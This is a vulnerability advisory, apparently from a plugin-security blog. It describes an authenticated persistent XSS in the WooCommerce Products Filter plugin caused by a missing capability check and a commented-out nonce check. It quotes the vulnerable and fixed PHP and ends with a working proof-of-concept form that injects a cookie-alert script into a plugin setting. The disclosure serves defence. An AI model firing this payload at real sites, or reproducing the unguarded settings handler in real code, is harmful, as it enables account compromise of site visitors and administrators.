08 Jul

Authenticated Persistent Cross-SIte Scripting (XSS) Vulnerability in WooCommerce Products Filter

When using WooCommerce you introduce an additional security risk due to the fact that WooCommerce allows the creation of WordPress accounts by customers by default. That is a security risk because many of the security vulnerabilities in WordPress plugins we are seeing found by others and found by us these days involve something that is only exploitable by logged in users. With that risk, you would hope that developers of plugin that interact with WooCommerce would be careful to avoid that type of issue, but from starting to look over those plugins we have found that isn’t always the case.

In the WooCommerce Products Filter plugin settings are saved through AJAX accessible function woof_save_options(), located in the file /index.php. The file looked this in version 1.14.2:

154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
public function woof_save_options()
{
 
	$data = array();
	parse_str($_REQUEST['formdata'], $data);
 
	//if (wp_verify_nonce($data['_wpnonce']))
	{
		if (isset($data['woof_settings']))
		{
			$_POST = $data; //for WC_Admin_Settings
			WC_Admin_Settings::save_fields($this->get_options());
			//+++
			if (class_exists('SitePress'))
			{
				$lang = ICL_LANGUAGE_CODE;
				if (isset($data['woof_settings']['wpml_tax_labels']) AND ! empty($data['woof_settings']['wpml_tax_labels']))
				{
					$translations_string = $data['woof_settings']['wpml_tax_labels'];
					$translations_string = explode(PHP_EOL, $translations_string);
					$translations = array();
					if (!empty($translations_string) AND is_array($translations_string))
					{
						foreach ($translations_string as $line)
						{
							if (empty($line))
							{
								continue;
							}
 
							$line = explode(':', $line);
							if (!isset($translations[$line[0]]))
							{
								$translations[$line[0]] = array();
							}
							$tmp = explode('^', $line[1]);
							$translations[$line[0]][$tmp[0]] = $tmp[1];
						}
					}
 
					$data['woof_settings']['wpml_tax_labels'] = $translations;
				}
			}
			//+++
			if (is_array($data['woof_settings']))
			{
				update_option('woof_settings', $data['woof_settings']);
			}
			wp_cache_flush();
		}
	}
 
	die('done');
}

While the changing of the plugin’s settings would normally only be accessible Administrator level users, there is no checking done to make sure lower level users are not accessing it. There is a nonce check in the code that could restrict access to those who could access the setting’s page, but it is commented out. Looking back to older version, when the this function was introduced in version 1.1.4 it was already commented out already.

This could used for persistent cross-site scripting (XSS) due to the fact that the settings are not sanitized when saved as can be seen in that function. An there is not escaping done in at least some cases. An example being when the setting “default_overlay_skin_word” is output on frontend pages:

856
857
858
<?php if (isset($this->settings['default_overlay_skin_word']) AND ! empty($this->settings['default_overlay_skin_word'])): ?>
		woof_lang_loading = "<?php echo __($this->settings['default_overlay_skin_word'], 'woocommerce-products-filter') ?>";
<?php endif; ?>

After we contacted the developer about the issue they released version 1.1.5, which added a check to the function woof_save_options() function to see if the user making the request can manage_options, which is a capability normally only Administrator level users have, before allowing the rest of the function’s code to run:

261
262
263
264
265
266
267
268
269
270
271
272
273
public function woof_save_options()
{
 
//save options can admin only <notifications@pluginvulnerabilities.com>
if (!current_user_can('manage_options'))
{
	return;
}
 
//***
 
$data = array();
parse_str($_REQUEST['formdata'], $data);

The function still lacks protection against cross-site request forgery (CSRF), as the nonce check remains commented out.

Proof of Concept

The following proof of concept URL will cause any available cookies to shown in alert box on pages from the plugin, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="woof_save_options" />
<input type="hidden" name="formdata" value="woof_settings=&woof_settings%5Bdefault_overlay_skin_word%5D=%22%3B+alert(document.cookie)%3B+%22" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/27/2016 – Developer notified.
  • 7/8/2016 – Version 1.1.5 released, which fixes vulnerability.

Concerned About The Security of The Plugins You Use?

When you are a paying customer of our service (you can currently try the service free for the first month), you get to suggest/vote on what plugins we will do security reviews of.

Leave a Reply

Your email address will not be published. Required fields are marked *